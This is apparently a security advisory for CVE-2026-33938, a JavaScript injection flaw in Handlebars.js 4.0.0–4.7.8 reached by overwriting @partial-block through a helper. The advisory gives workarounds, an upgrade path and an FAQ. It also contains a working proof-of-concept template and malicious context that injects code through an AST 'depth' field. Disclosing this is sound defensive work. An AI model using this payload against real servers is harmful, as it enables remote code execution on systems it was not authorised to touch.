CVE-2026-33938: Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
Summary
The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.
Description
Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.
When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.
The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.
Proof of Concept
Tested with Handlebars 4.7.8 and handlebars-helpers:
javascript const Handlebars = require('handlebars'); const merge = require('handlebars-helpers').object().merge; Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = {{#inline "myPartial"}} {{>@partial-block}} {{>@partial-block}} {{/inline}} {{#>myPartial}} {{merge @parent partial-block=1}} {{merge @parent partial-block=payload}} {{/myPartial}} ;
const maliciousContext = { payload: { type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Code injected via depth field — breaks out of generated function call depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//", }, }, ], }, };
Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: RCE via @partial-block
Workarounds
- Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. - Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
Other sources
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {
— IBM
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/handlebarsto a version that resolves this vulnerability.Fixed in 4.7.9 - Upgrade
Upgrade
handlebarsto a version that resolves this vulnerability.Fixed in 4.7.9 - Configuration
Use the runtime-only build of Handlebars (e.g., require('handlebars/runtime')) instead of the full build to avoid the dynamically compiling fallback path.
Handlebars build/runtime usage = require('handlebars/runtime') - Configuration
Audit all registered helpers and ensure they treat context data as read-only; avoid registering helpers from third-party packages (e.g., handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
Handlebars helpers registered helpers source and mutability = Do not register third-party helpers in untrusted contexts; treat context data as read-only
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33938?
CVE-2026-33938 has been assessed with a high severity level due to its potential impact on application security.
How do I fix CVE-2026-33938?
To fix CVE-2026-33938, upgrade Handlebars to version 4.7.9 or later.
What versions of Handlebars are affected by CVE-2026-33938?
CVE-2026-33938 affects Handlebars versions between 4.0.0 and 4.7.8.
What is the main vulnerability of CVE-2026-33938?
The main vulnerability of CVE-2026-33938 lies in the mutable `@partial-block` variable which can be overwritten by crafted Handlebars ASTs.
Is CVE-2026-33938 exploitable in production environments?
Yes, CVE-2026-33938 is exploitable in production environments where user inputs are not properly sanitized.